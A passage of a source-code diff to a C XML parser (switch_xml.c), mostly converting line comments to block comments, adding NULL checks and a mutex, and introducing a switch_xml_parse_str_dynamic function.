 static int preprocess(const char *cwd, const char *file, int write_fd, int rlevel);
 
 typedef struct switch_xml_root *switch_xml_root_t;
-struct switch_xml_root {		// additional data for the root tag
-	struct switch_xml xml;		// is a super-struct built on top of switch_xml struct
-	switch_xml_t cur;			// current xml tree insertion point
-	char *m;					// original xml string
-	switch_size_t len;			// length of allocated memory for mmap
-	uint8_t dynamic;
-	char *u;					// UTF-8 conversion of string if original was UTF-16
-	char *s;					// start of work area
-	char *e;					// end of work area
-	char **ent;					// general entities (ampersand sequences)
-	char ***attr;				// default attributes
-	char ***pi;					// processing instructions
-	short standalone;			// non-zero if <?xml standalone="yes"?>
-	char err[SWITCH_XML_ERRL];	// error string
+struct switch_xml_root {		/* additional data for the root tag */
+	struct switch_xml xml;		/* is a super-struct built on top of switch_xml struct */
+	switch_xml_t cur;			/* current xml tree insertion point */
+	char *m;					/* original xml string */
+	switch_size_t len;			/* length of allocated memory for mmap */
+	uint8_t dynamic;			/* Free the original string when calling switch_xml_free */
+	char *u;					/* UTF-8 conversion of string if original was UTF-16 */
+	char *s;					/* start of work area */
+	char *e;					/* end of work area */
+	char **ent;					/* general entities (ampersand sequences) */
+	char ***attr;				/* default attributes */
+	char ***pi;					/* processing instructions */
+	short standalone;			/* non-zero if <?xml standalone="yes"?> */
+	char err[SWITCH_XML_ERRL];	/* error string */
 };
 
-char *SWITCH_XML_NIL[] = { NULL };	// empty, null terminated array of strings
+char *SWITCH_XML_NIL[] = { NULL };	/* empty, null terminated array of strings */
 
 struct switch_xml_binding {
 	switch_xml_search_function_t function;
@@ -142,11 +142,12 @@
 static switch_thread_rwlock_t *RWLOCK = NULL;
 static switch_thread_rwlock_t *B_RWLOCK = NULL;
 static switch_mutex_t *XML_LOCK = NULL;
+static switch_mutex_t *XML_GEN_LOCK = NULL;
 
 
 struct xml_section_t {
 	const char *name;
-	//switch_xml_section_t section;
+	/* switch_xml_section_t section; */
 	uint32_t section;
 };
 
@@ -163,7 +164,7 @@
 {
 	size_t x;
 	char buf[1024] = "";
-	//switch_xml_section_t sections = SWITCH_XML_SECTION_RESULT;
+	/*switch_xml_section_t sections = SWITCH_XML_SECTION_RESULT; */
 	uint32_t sections = SWITCH_XML_SECTION_RESULT;
 	
 	if (str) {
@@ -250,8 +251,9 @@
 	return binding->user_data;
 }
 
-
-SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function, switch_xml_section_t sections, void *user_data, switch_xml_binding_t **ret_binding)
+SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function,
+																	switch_xml_section_t sections, void *user_data,
+																	switch_xml_binding_t **ret_binding)
 {
 	switch_xml_binding_t *binding = NULL, *ptr = NULL;
 	assert(function != NULL);
@@ -356,7 +358,7 @@
 	return p;
 }
 
-// returns the first child tag with the given name or NULL if not found
+/* returns the first child tag with the given name or NULL if not found */
 SWITCH_DECLARE(switch_xml_t) switch_xml_child(switch_xml_t xml, const char *name)
 {
 	xml = (xml) ? xml->child : NULL;
@@ -365,8 +367,7 @@
 	return xml;
 }
 
-// returns the Nth tag with the same name in the same subsection or NULL if not
-// found
+/* returns the Nth tag with the same name in the same subsection or NULL if not found */
 switch_xml_t switch_xml_idx(switch_xml_t xml, int idx)
 {
 	for (; xml && idx; idx--)
@@ -374,7 +375,7 @@
 	return xml;
 }
 
-// returns the value of the requested tag attribute or "" if not found
+/* returns the value of the requested tag attribute or "" if not found */
 SWITCH_DECLARE(const char *) switch_xml_attr_soft(switch_xml_t xml, const char *attr)
 {
 	const char *ret = switch_xml_attr(xml, attr);
@@ -382,7 +383,7 @@
 	return ret ? ret : "";
 }
 
-// returns the value of the requested tag attribute or NULL if not found
+/* returns the value of the requested tag attribute or NULL if not found */
 SWITCH_DECLARE(const char *) switch_xml_attr(switch_xml_t xml, const char *attr)
 {
 	int i = 0, j = 1;
@@ -390,22 +391,22 @@
 
 	if (!xml || !xml->attr)
 		return NULL;
-	while (xml->attr[i] && strcmp(attr, xml->attr[i]))
+	while (xml->attr[i] && attr && strcmp(attr, xml->attr[i]))
 		i += 2;
 	if (xml->attr[i])
-		return xml->attr[i + 1];	// found attribute
+		return xml->attr[i + 1];	/* found attribute */
 
 	while (root->xml.parent)
-		root = (switch_xml_root_t) root->xml.parent;	// root tag
-	for (i = 0; root->attr[i] && strcmp(xml->name, root->attr[i][0]); i++);
+		root = (switch_xml_root_t) root->xml.parent;	/* root tag */
+	for (i = 0; root->attr[i] && xml->name && strcmp(xml->name, root->attr[i][0]); i++);
 	if (!root->attr[i])
-		return NULL;			// no matching default attributes
-	while (root->attr[i][j] && strcmp(attr, root->attr[i][j]))
+		return NULL;			/* no matching default attributes */
+	while (root->attr[i][j] && attr && strcmp(attr, root->attr[i][j]))
 		j += 3;
-	return (root->attr[i][j]) ? root->attr[i][j + 1] : NULL;	// found default
+	return (root->attr[i][j]) ? root->attr[i][j + 1] : NULL;	/* found default */
 }
 
-// same as switch_xml_get but takes an already initialized va_list
+/* same as switch_xml_get but takes an already initialized va_list */
 static switch_xml_t switch_xml_vget(switch_xml_t xml, va_list ap)
 {
 	char *name = va_arg(ap, char *);
@@ -418,12 +419,12 @@
 	return (idx < 0) ? xml : switch_xml_vget(switch_xml_idx(xml, idx), ap);
 }
 
-// Traverses the xml tree to retrieve a specific subtag. Takes a variable
-// length list of tag names and indexes. The argument list must be terminated
-// by either an index of -1 or an empty string tag name. Example: 
-// title = switch_xml_get(library, "shelf", 0, "book", 2, "title", -1);
-// This retrieves the title of the 3rd book on the 1st shelf of library.
-// Returns NULL if not found.
+/* Traverses the xml tree to retrieve a specific subtag. Takes a variable
+   length list of tag names and indexes. The argument list must be terminated
+   by either an index of -1 or an empty string tag name. Example: 
+   title = switch_xml_get(library, "shelf", 0, "book", 2, "title", -1);
+   This retrieves the title of the 3rd book on the 1st shelf of library.
+   Returns NULL if not found. */
 SWITCH_DECLARE(switch_xml_t) switch_xml_get(switch_xml_t xml,...)
 {
 	va_list ap;
@@ -435,8 +436,7 @@
 	return r;
 }
 
-// returns a null terminated array of processing instructions for the given
-// target
+/* returns a null terminated array of processing instructions for the given target */
 SWITCH_DECLARE(const char **) switch_xml_pi(switch_xml_t xml, const char *target)
 {
 	switch_xml_root_t root = (switch_xml_root_t) xml;
@@ -445,13 +445,13 @@
 	if (!root)
 		return (const char **) SWITCH_XML_NIL;
 	while (root->xml.parent)
-		root = (switch_xml_root_t) root->xml.parent;	// root tag
+		root = (switch_xml_root_t) root->xml.parent;	/* root tag */
 	while (root->pi[i] && strcmp(target, root->pi[i][0]))
-		i++;					// find target
+		i++;					/* find target */
 	return (const char **) ((root->pi[i]) ? root->pi[i] + 1 : SWITCH_XML_NIL);
 }
 
-// set an error string and return root
+/* set an error string and return root */
 static switch_xml_t switch_xml_err(switch_xml_root_t root, char *s, const char *err, ...)
 {
 	va_list ap;
@@ -470,18 +470,18 @@
 	return &root->xml;
 }
 
-// Recursively decodes entity and character references and normalizes new lines
-// ent is a null terminated array of alternating entity names and values. set t
-// to '&' for general entity decoding, '%' for parameter entity decoding, 'c'
-// for cdata sections, ' ' for attribute normalization, or '*' for non-cdata
-// attribute normalization. Returns s, or if the decoded string is longer than
-// s, returns a malloced string that must be freed.
+/* Recursively decodes entity and character references and normalizes new lines
+   ent is a null terminated array of alternating entity names and values. set t
+   to '&' for general entity decoding, '%' for parameter entity decoding, 'c'
+   for cdata sections, ' ' for attribute normalization, or '*' for non-cdata
+   attribute normalization. Returns s, or if the decoded string is longer than
+   s, returns a malloced string that must be freed. */
 static char *switch_xml_decode(char *s, char **ent, char t)
 {
 	char *e, *r = s, *m = s;
 	long b, c, d, l;
 
-	for (; *s; s++) {			// normalize line endings
+	for (; *s; s++) {	/* normalize line endings */
 		while (*s == '\r') {
 			*(s++) = '\n';
 			if (*s == '\n')
@@ -495,34 +495,34 @@
 
 		if (!*s)
 			break;
-		else if (t != 'c' && !strncmp(s, "&#", 2)) {	// character reference
+		else if (t != 'c' && !strncmp(s, "&#", 2)) {	/* character reference */
 			if (s[2] == 'x')
-				c = strtol(s + 3, &e, 16);	// base 16
+				c = strtol(s + 3, &e, 16);	/* base 16 */
 			else
-				c = strtol(s + 2, &e, 10);	// base 10
+				c = strtol(s + 2, &e, 10);	/* base 10 */
 			if (!c || *e != ';') {
 				s++;
 				continue;
-			}					// not a character ref
+			}					/* not a character ref */
 
 			if (c < 0x80)
-				*(s++) = (char) c;	// US-ASCII subset
-			else {				// multi-byte UTF-8 sequence
+				*(s++) = (char) c;	/* US-ASCII subset */
+			else {					/* multi-byte UTF-8 sequence */
 				for (b = 0, d = c; d; d /= 2)
-					b++;		// number of bits in c
-				b = (b - 2) / 5;	// number of bytes in payload
-				*(s++) = (char) ((0xFF << (7 - b)) | (c >> (6 * b)));	// head
+					b++;			/* number of bits in c */
+				b = (b - 2) / 5;	/* number of bytes in payload */
+				*(s++) = (char) ((0xFF << (7 - b)) | (c >> (6 * b)));	/* head */
 				while (b)
-					*(s++) = (char) (0x80 | ((c >> (6 * --b)) & 0x3F));	// payload
+					*(s++) = (char) (0x80 | ((c >> (6 * --b)) & 0x3F));	/* payload */
 			}
 
 			memmove(s, strchr(s, ';') + 1, strlen(strchr(s, ';')));
-		} else if ((*s == '&' && (t == '&' || t == ' ' || t == '*')) || (*s == '%' && t == '%')) {	// entity reference
-			for (b = 0; ent[b] && strncmp(s + 1, ent[b], strlen(ent[b])); b += 2);	// find entity in entity list
+		} else if ((*s == '&' && (t == '&' || t == ' ' || t == '*')) || (*s == '%' && t == '%')) {	/* entity reference */
+			for (b = 0; ent[b] && strncmp(s + 1, ent[b], strlen(ent[b])); b += 2);	/* find entity in entity list */
 
-			if (ent[b++]) {		// found a match
+			if (ent[b++]) {		/* found a match */
 				if ((c = (long) strlen(ent[b])) - 1 > (e = strchr(s, ';')) - s) {
-					l = (d = (long) (s - r)) + c + (long) strlen(e);	// new length
+					l = (d = (long) (s - r)) + c + (long) strlen(e);	/* new length */
 					if (l) {
 						if (r == m) {
 							char *tmp = (char *)malloc(l);
@@ -542,20 +542,20 @@
 							}
 						}
 					}
-					e = strchr((s = r + d), ';');	// fix up pointers
+					e = strchr((s = r + d), ';');	/* fix up pointers */
 				}
 
-				memmove(s + c, e + 1, strlen(e));	// shift rest of string
-				strncpy(s, ent[b], c);	// copy in replacement text
+				memmove(s + c, e + 1, strlen(e));	/* shift rest of string */
+				strncpy(s, ent[b], c);	/* copy in replacement text */
 			} else
-				s++;			// not a known entity
+				s++;			/* not a known entity */
 		} else if ((t == ' ' || t == '*') && isspace((int) (*s)))
 			*(s++) = ' ';
 		else
-			s++;				// no decoding needed
+			s++;				/* no decoding needed */
 	}
 
-	if (t == '*') {				// normalize spaces for non-cdata attributes
+	if (t == '*') {				/* normalize spaces for non-cdata attributes */
 		for (s = r; *s; s++) {
 			if ((l = (long) strspn(s, " ")))
 				memmove(s, s + l, strlen(s + l) + 1);
@@ -563,12 +563,12 @@
 				s++;
 		}
 		if (--s >= r && *s == ' ')
-			*s = '\0';			// trim any trailing space
+			*s = '\0';			/* trim any trailing space */
 	}
 	return r;
 }
 
-// called when parser finds start of new tag
+/* called when parser finds start of new tag */
 static void switch_xml_open_tag(switch_xml_root_t root, char *name, char **attr)
 {
 	switch_xml_t xml = root->cur;
@@ -576,13 +576,13 @@
 	if (xml->name)
 		xml = switch_xml_add_child(xml, name, strlen(xml->txt));
 	else
-		xml->name = name;		// first open tag
+		xml->name = name;		/* first open tag */
 
 	xml->attr = attr;
-	root->cur = xml;			// update tag insertion point
+	root->cur = xml;			/* update tag insertion point */
 }
 
-// called when parser finds character content between open and closing tag
+/* called when parser finds character content between open and closing tag */
 static void switch_xml_char_content(switch_xml_root_t root, char *s, switch_size_t len, char t)
 {
 	switch_xml_t xml = root->cur;
@@ -590,15 +590,15 @@
 	switch_size_t l;
 
 	if (!xml || !xml->name || !len)
-		return;					// sanity check
+		return;					/* sanity check */
 
-	s[len] = '\0';				// null terminate text (calling functions anticipate this)
+	s[len] = '\0';				/* null terminate text (calling functions anticipate this) */
 	len = strlen(s = switch_xml_decode(s, root->ent, t)) + 1;
 
 	if (!*(xml->txt))
-		xml->txt = s;			// initial character content
-	else {						// allocate our own memory and make a copy
-		if ((xml->flags & SWITCH_XML_TXTM)) { // allocate some space
+		xml->txt = s;			/* initial character content */
+	else {						/* allocate our own memory and make a copy */
+		if ((xml->flags & SWITCH_XML_TXTM)) { /* allocate some space */
 			char *tmp = (char *)realloc(xml->txt, (l = strlen(xml->txt)) + len);
 			if (tmp) {
 				xml->txt = tmp;
@@ -613,16 +613,16 @@
 				return;
 			}
 		}
-		strcpy(xml->txt + l, s);	// add new char content
+		strcpy(xml->txt + l, s);	/* add new char content */
 		if (s != m)
-			free(s);			// free s if it was malloced by switch_xml_decode()
+			free(s);			/* free s if it was malloced by switch_xml_decode() */
 	}
 
 	if (xml->txt != m)
 		switch_xml_set_flag(xml, SWITCH_XML_TXTM);
 }
 
-// called when parser finds closing tag
+/* called when parser finds closing tag */
 static switch_xml_t switch_xml_close_tag(switch_xml_root_t root, char *name, char *s)
 {
 	if (!root->cur || !root->cur->name || strcmp(name, root->cur->name))
@@ -632,26 +632,26 @@
 	return NULL;
 }
 
-// checks for circular entity references, returns non-zero if no circular
-// references are found, zero otherwise
+/* checks for circular entity references, returns non-zero if no circular
+   references are found, zero otherwise */
 static int switch_xml_ent_ok(char *name, char *s, char **ent)
 {
 	int i;
 
 	for (;; s++) {
 		while (*s && *s != '&')
-			s++;				// find next entity reference
+			s++;				/* find next entity reference */
 		if (!*s)
 			return 1;
 		if (!strncmp(s + 1, name, strlen(name)))
-			return 0;			// circular ref.
+			return 0;			/* circular ref. */
 		for (i = 0; ent[i] && strncmp(ent[i], s + 1, strlen(ent[i])); i += 2);
 		if (ent[i] && !switch_xml_ent_ok(name, ent[i + 1], ent))
 			return 0;
 	}
 }
 
-// called when the parser finds a processing instruction
+/* called when the parser finds a processing instruction */
 static void switch_xml_proc_inst(switch_xml_root_t root, char *s, switch_size_t len)
 {
 	int i = 0, j = 1;
@@ -659,15 +659,15 @@
 	char **sstmp;
 	char *stmp;
 
-	s[len] = '\0';				// null terminate instruction
+	s[len] = '\0';				/* null terminate instruction */
 	if (*(s += strcspn(s, SWITCH_XML_WS))) {
-		*s = '\0';				// null terminate target
-		s += strspn(s + 1, SWITCH_XML_WS) + 1;	// skip whitespace after target
+		*s = '\0';				/* null terminate target */
+		s += strspn(s + 1, SWITCH_XML_WS) + 1;	/* skip whitespace after target */
 	}
 
 	if (!root) return;
 
-	if (!strcmp(target, "xml")) {	// <?xml ... ?>
+	if (!strcmp(target, "xml")) {	/* <?xml ... ?> */
 		if ((s = strstr(s, "standalone")) && !strncmp(s + strspn(s + 10, SWITCH_XML_WS "='\"") + 10, "yes", 3))
 			root->standalone = 1;
 		return;
@@ -676,12 +676,12 @@
 	if (!root->pi[0]) {
 		root->pi = (char ***)malloc(sizeof(char **));
 		if (!root->pi) return;
-		*(root->pi) = NULL;	//first pi
+		*(root->pi) = NULL;	/* first pi */
 	}
 
 	while (root->pi[i] && strcmp(target, root->pi[i][0]))
-		i++;					// find target
-	if (!root->pi[i]) {			// new target
+		i++;					/* find target */
+	if (!root->pi[i]) {			/* new target */
 		char ***ssstmp = (char ***)realloc(root->pi, sizeof(char **) * (i + 2));
 		if (!ssstmp) return;
 		root->pi = ssstmp; 
@@ -689,12 +689,12 @@
 		root->pi[i] = (char **)malloc(sizeof(char *) * 3);
 		if (!root->pi[i]) return;
 		root->pi[i][0] = target;
-		root->pi[i][1] = (char *) (root->pi[i + 1] = NULL);	// terminate pi list
-		root->pi[i][2] = strdup("");	// empty document position list
+		root->pi[i][1] = (char *) (root->pi[i + 1] = NULL);	/* terminate pi list */
+		root->pi[i][2] = strdup("");	/* empty document position list */
 	}
 
 	while (root->pi[i][j])
-		j++;					// find end of instruction list for this target
+		j++;					/* find end of instruction list for this target */
 	sstmp = (char **)realloc(root->pi[i], sizeof(char *) * (j + 3));
 	if (!sstmp) return;
 	root->pi[i] = sstmp;
@@ -702,11 +702,11 @@
 	if (!stmp) return;
 	root->pi[i][j + 2] = stmp; 
 	strcpy(root->pi[i][j + 2] + j - 1, (root->xml.name) ? ">" : "<");
-	root->pi[i][j + 1] = NULL;	// null terminate pi list for this target
-	root->pi[i][j] = s;			// set instruction
+	root->pi[i][j + 1] = NULL;	/* null terminate pi list for this target */
+	root->pi[i][j] = s;			/* set instruction */
 }
 
-// called when the parser finds an internal doctype subset
+/* called when the parser finds an internal doctype subset */
 static short switch_xml_internal_dtd(switch_xml_root_t root, char *s, switch_size_t len)
 {
 	char q, *c, *t, *n = NULL, *v, **ent, **pe;
@@ -717,23 +717,23 @@
 	
 	for (s[len] = '\0'; s;) {
 		while (*s && *s != '<' && *s != '%')
-			s++;				// find next declaration
+			s++;				/* find next declaration */
 
 		if (!*s)
 			break;
-		else if (!strncmp(s, "<!ENTITY", 8)) {	// parse entity definitions
-			c = s += strspn(s + 8, SWITCH_XML_WS) + 8;	// skip white space separator
-			n = s + strspn(s, SWITCH_XML_WS "%");	// find name
-			*(s = n + strcspn(n, SWITCH_XML_WS)) = ';';	// append ; to name
+		else if (!strncmp(s, "<!ENTITY", 8)) {			/* parse entity definitions */
+			c = s += strspn(s + 8, SWITCH_XML_WS) + 8;	/* skip white space separator */
+			n = s + strspn(s, SWITCH_XML_WS "%");		/* find name */
+			*(s = n + strcspn(n, SWITCH_XML_WS)) = ';';	/* append ; to name */
 
-			v = s + strspn(s + 1, SWITCH_XML_WS) + 1;	// find value
-			if ((q = *(v++)) != '"' && q != '\'') {	// skip externals
+			v = s + strspn(s + 1, SWITCH_XML_WS) + 1;	/* find value */
+			if ((q = *(v++)) != '"' && q != '\'') {		/* skip externals */
 				s = strchr(s, '>');
 				continue;
 			}
 
 			for (i = 0, ent = (*c == '%') ? pe : root->ent; ent[i]; i++);
-			sstmp = (char **)realloc(ent, (i + 3) * sizeof(char *));	// space for next ent
+			sstmp = (char **)realloc(ent, (i + 3) * sizeof(char *));	/* space for next ent */
 			if (!sstmp) {
 				switch_xml_err(root, v, "Allocation Error!");
 				break;
@@ -744,20 +744,20 @@
 			else
 				root->ent = ent;
 
-			*(++s) = '\0';		// null terminate name
+			*(++s) = '\0';		/* null terminate name */
 			if ((s = strchr(v, q)))
-				*(s++) = '\0';	// null terminate value
-			ent[i + 1] = switch_xml_decode(v, pe, '%');	// set value
-			ent[i + 2] = NULL;	// null terminate entity list
-			if (!switch_xml_ent_ok(n, ent[i + 1], ent)) {	// circular reference
+				*(s++) = '\0';	/* null terminate value */
+			ent[i + 1] = switch_xml_decode(v, pe, '%');	/* set value */
+			ent[i + 2] = NULL;	/* null terminate entity list */
+			if (!switch_xml_ent_ok(n, ent[i + 1], ent)) {	/* circular reference */
 				if (ent[i + 1] != v)
 					free(ent[i + 1]);
 				switch_xml_err(root, v, "circular entity declaration &%s", n);
 				break;
 			} else
-				ent[i] = n;		// set entity name
-		} else if (!strncmp(s, "<!ATTLIST", 9)) {	// parse default attributes
-			t = s + strspn(s + 9, SWITCH_XML_WS) + 9;	// skip whitespace separator
+				ent[i] = n;		/* set entity name */
+		} else if (!strncmp(s, "<!ATTLIST", 9)) {	/* parse default attributes */
+			t = s + strspn(s + 9, SWITCH_XML_WS) + 9;	/* skip whitespace separator */
 			if (!*t) {
 				switch_xml_err(root, t, "unclosed <!ATTLIST");
 				break;
@@ -765,19 +765,25 @@
 			if (*(s = t + strcspn(t, SWITCH_XML_WS ">")) == '>')
 				continue;
 			else
-				*s = '\0';		// null terminate tag name
+				*s = '\0';		/* null terminate tag name */
 			for (i = 0; root->attr[i] && strcmp(n, root->attr[i][0]); i++);
 
-			while (*(n = ++s + strspn(s, SWITCH_XML_WS)) && *n != '>') {
+			//while (*(n = ++s + strspn(s, SWITCH_XML_WS)) && *n != '>') {
+			// gcc 4.4 you are a creep
+			for(;;) {
+				s++;
+				if (!(*(n = s + strspn(s, SWITCH_XML_WS)) && *n != '>')) {
+					break;
+				}
 				if (*(s = n + strcspn(n, SWITCH_XML_WS)))
-					*s = '\0';	// attr name
+					*s = '\0';	/* attr name */
 				else {
 					switch_xml_err(root, t, "malformed <!ATTLIST");
 					break;
 				}
 
-				s += strspn(s + 1, SWITCH_XML_WS) + 1;	// find next token
-				c = (strncmp(s, "CDATA", 5)) ? (char *)"*" : (char *)" ";	// is it cdata?
+				s += strspn(s + 1, SWITCH_XML_WS) + 1;	/* find next token */
+				c = (strncmp(s, "CDATA", 5)) ? (char *)"*" : (char *)" ";	/* is it cdata? */
 				if (!strncmp(s, "NOTATION", 8))
 					s += strspn(s + 8, SWITCH_XML_WS) + 8;
 				s = (*s == '(') ? strchr(s, ')') : s + strcspn(s, SWITCH_XML_WS);
@@ -786,15 +792,15 @@
 					break;
 				}
 
-				s += strspn(s, SWITCH_XML_WS ")");	// skip white space separator
+				s += strspn(s, SWITCH_XML_WS ")");	/* skip white space separator */
 				if (!strncmp(s, "#FIXED", 6))
 					s += strspn(s + 6, SWITCH_XML_WS) + 6;
-				if (*s == '#') {	// no default value
+				if (*s == '#') {	/* no default value */
 					s += strcspn(s, SWITCH_XML_WS ">") - 1;
 					if (*c == ' ')
-						continue;	// cdata is default, nothing to do
+						continue;	/* cdata is default, nothing to do */
 					v = NULL;
-				} else if ((*s == '"' || *s == '\'') &&	// default value
+				} else if ((*s == '"' || *s == '\'') &&	/* default value */
 						   (s = strchr(v = s + 1, *s)))
 					*s = '\0';
 				else {
@@ -802,15 +808,15 @@
 					break;
 				}
 
-				if (!root->attr[i]) {	// new tag name
+				if (!root->attr[i]) {	/* new tag name */
 					root->attr = (!i) ? (char ***)malloc(2 * sizeof(char **))
 						: (char ***)realloc(root->attr, (i + 2) * sizeof(char **));
 					root->attr[i] = (char **)malloc(2 * sizeof(char *));
-					root->attr[i][0] = t;	// set tag name
+					root->attr[i][0] = t;	/* set tag name */
 					root->attr[i][1] = (char *) (root->attr[i + 1] = NULL);
 				}
 
-				for (j = 1; root->attr[i][j]; j += 3);	// find end of list
+				for (j = 1; root->attr[i][j]; j += 3);	/* find end of list */
 				sstmp = (char **)realloc(root->attr[i], (j + 4) * sizeof(char *));
 
 				if (!sstmp) {
@@ -819,19 +825,18 @@
 				}
 
 				root->attr[i] = sstmp;
-				root->attr[i][j + 3] = NULL;	// null terminate list
-				root->attr[i][j + 2] = c;	// is it cdata?
-				root->attr[i][j + 1] = (v) ? switch_xml_decode(v, root->ent, *c)
-					: NULL;
-				root->attr[i][j] = n;	// attribute name 
+				root->attr[i][j + 3] = NULL;	/* null terminate list */
+				root->attr[i][j + 2] = c;		/* is it cdata? */
+				root->attr[i][j + 1] = (v) ? switch_xml_decode(v, root->ent, *c) : NULL;
+				root->attr[i][j] = n;			/* attribute name  */
 			}
 		} else if (!strncmp(s, "<!--", 4))
-			s = strstr(s + 4, "-->");	// comments
-		else if (!strncmp(s, "<?", 2)) {	// processing instructions
+			s = strstr(s + 4, "-->");			/* comments */
+		else if (!strncmp(s, "<?", 2)) {		/* processing instructions */
 			if ((s = strstr(c = s + 2, "?>")))
 				switch_xml_proc_inst(root, c, s++ - c);
 		} else if (*s == '<')
-			s = strchr(s, '>');	// skip other declarations
+			s = strchr(s, '>');					/* skip other declarations */
 		else if (*(s++) == '%' && !root->standalone)
 			break;
 	}
@@ -840,8 +845,8 @@
 	return !*root->err;
 }
 
-// Converts a UTF-16 string to UTF-8. Returns a new string that must be freed
-// or NULL if no conversion was needed.
+/* Converts a UTF-16 string to UTF-8. Returns a new string that must be freed
+   or NULL if no conversion was needed. */
 static char *switch_xml_str2utf8(char **s, switch_size_t *len)
 {
 	char *u;
@@ -850,13 +855,13 @@
 	int b, be = (**s == '\xFE') ? 1 : (**s == '\xFF') ? 0 : -1;
 
 	if (be == -1)
-		return NULL;			// not UTF-16
+		return NULL;			/* not UTF-16 */
 
 	u = (char *)malloc(max);
 	for (sl = 2; sl < *len - 1; sl += 2) {
-		c = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)	//UTF-16BE
-			: (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);	//UTF-16LE
-		if (c >= 0xD800 && c <= 0xDFFF && (sl += 2) < *len - 1) {	// high-half
+		c = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)	/* UTF-16BE */
+			: (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);		/* UTF-16LE */
+		if (c >= 0xD800 && c <= 0xDFFF && (sl += 2) < *len - 1) {	/* high-half */
 			d = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)
 				: (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);
 			c = (((c & 0x3FF) << 10) | (d & 0x3FF)) + 0x10000;
@@ -869,30 +874,30 @@
 			u = tmp;
 		}
 		if (c < 0x80)
-			u[l++] = (char) c;	// US-ASCII subset
-		else {					// multi-byte UTF-8 sequence
+			u[l++] = (char) c;	/* US-ASCII subset */
+		else {					/* multi-byte UTF-8 sequence */
 			for (b = 0, d = c; d; d /= 2)
-				b++;			// bits in c
-			b = (b - 2) / 5;	// bytes in payload
-			u[l++] = (char) ((0xFF << (7 - b)) | (c >> (6 * b)));	// head
+				b++;			/* bits in c */
+			b = (b - 2) / 5;	/* bytes in payload */
+			u[l++] = (char) ((0xFF << (7 - b)) | (c >> (6 * b)));	/* head */
 			while (b)
-				u[l++] = (char) (0x80 | ((c >> (6 * --b)) & 0x3F));	// payload
+				u[l++] = (char) (0x80 | ((c >> (6 * --b)) & 0x3F));	/* payload */
 		}
 	}
 	return *s = (char *)realloc(u, *len = l);
 }
 
-// frees a tag attribute list
+/* frees a tag attribute list */
 static void switch_xml_free_attr(char **attr)
 {
 	int i = 0;
 	char *m;
 
 	if (!attr || attr == SWITCH_XML_NIL)
-		return;					// nothing to free
+		return;					/* nothing to free */
 	while (attr[i])
-		i += 2;					// find end of attribute list
-	m = attr[i + 1];			// list of which names and values are malloced
+		i += 2;					/* find end of attribute list */
+	m = attr[i + 1];			/* list of which names and values are malloced */
 	for (i = 0; m[i]; i++) {
 		if (m[i] & SWITCH_XML_NAMEM)
 			free(attr[i * 2]);
@@ -903,24 +908,43 @@
 	free(attr);
 }
 
-// parse the given xml string and return an switch_xml structure
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup) 
+{
+	switch_xml_root_t root;
+	char *data;
+	
+	switch_assert(s);
+	data = dup ? strdup(s) : s;
+	
+	if ((root = (switch_xml_root_t) switch_xml_parse_str(data, strlen(data)))) {
+		root->dynamic = 1; /* Make sure we free the memory is switch_xml_free() */
+		return &root->xml;
+	} else {
+		if (dup) {
+			free(data);
+		}
+		return NULL;
+	}
+}
+	
+/* parse the given xml string and return an switch_xml structure */
 SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(char *s, switch_size_t len)
 {
 	switch_xml_root_t root = (switch_xml_root_t) switch_xml_new(NULL);
-	char q, e, *d, **attr, **a = NULL;	// initialize a to avoid compile warning
+	char q, e, *d, **attr, **a = NULL;	/* initialize a to avoid compile warning */
 	int l, i, j;
 
 	root->m = s;
 	if (!len)
 		return switch_xml_err(root, s, "root tag missing");
-	root->u = switch_xml_str2utf8(&s, &len);	// convert utf-16 to utf-8
-	root->e = (root->s = s) + len;	// record start and end of work area
+	root->u = switch_xml_str2utf8(&s, &len);	/* convert utf-16 to utf-8 */
+	root->e = (root->s = s) + len;	/* record start and end of work area */
 
-	e = s[len - 1];				// save end char
-	s[len - 1] = '\0';			// turn end char into null terminator
+	e = s[len - 1];				/* save end char */
+	s[len - 1] = '\0';			/* turn end char into null terminator */
 
 	while (*s && *s != '<')
-		s++;					// find first tag
+		s++;					/* find first tag */
 	if (!*s)
 		return switch_xml_err(root, s, "root tag missing");
 
@@ -928,37 +952,37 @@
 		attr = (char **) SWITCH_XML_NIL;
 		d = ++s;
 
-		if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) *s < '\0') {	// new tag
+		if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) *s < '\0') {	/* new tag */
 			if (!root->cur)
 				return switch_xml_err(root, d, "markup outside of root element");
 
 			s += strcspn(s, SWITCH_XML_WS "/>");
 			while (isspace((int) (*s)))
-				*(s++) = '\0';	// null terminate tag name
+			*(s++) = '\0';	/* null terminate tag name */
 
-			if (*s && *s != '/' && *s != '>')	// find tag in default attr list
+			if (*s && *s != '/' && *s != '>')	/* find tag in default attr list */
 				for (i = 0; (a = root->attr[i]) && strcmp(a[0], d); i++);
 
-			for (l = 0; *s && *s != '/' && *s != '>'; l += 2) {	// new attrib
+			for (l = 0; *s && *s != '/' && *s != '>'; l += 2) {	/* new attrib */
 				attr = (l) ? (char **)realloc(attr, (l + 4) * sizeof(char *))
-					: (char **)malloc(4 * sizeof(char *));	// allocate space
+					: (char **)malloc(4 * sizeof(char *));	/* allocate space */
 				attr[l + 3] = (l) ? (char *)realloc(attr[l + 1], (l / 2) + 2)
-					: (char *)malloc(2);	// mem for list of maloced vals
-				strcpy(attr[l + 3] + (l / 2), " ");	// value is not malloced
-				attr[l + 2] = NULL;	// null terminate list
-				attr[l + 1] = (char *)"";	// temporary attribute value
-				attr[l] = s;	// set attribute name
+					: (char *)malloc(2);					/* mem for list of maloced vals */
+				strcpy(attr[l + 3] + (l / 2), " ");			/* value is not malloced */
+				attr[l + 2] = NULL;							/* null terminate list */
+				attr[l + 1] = (char *)"";					/* temporary attribute value */
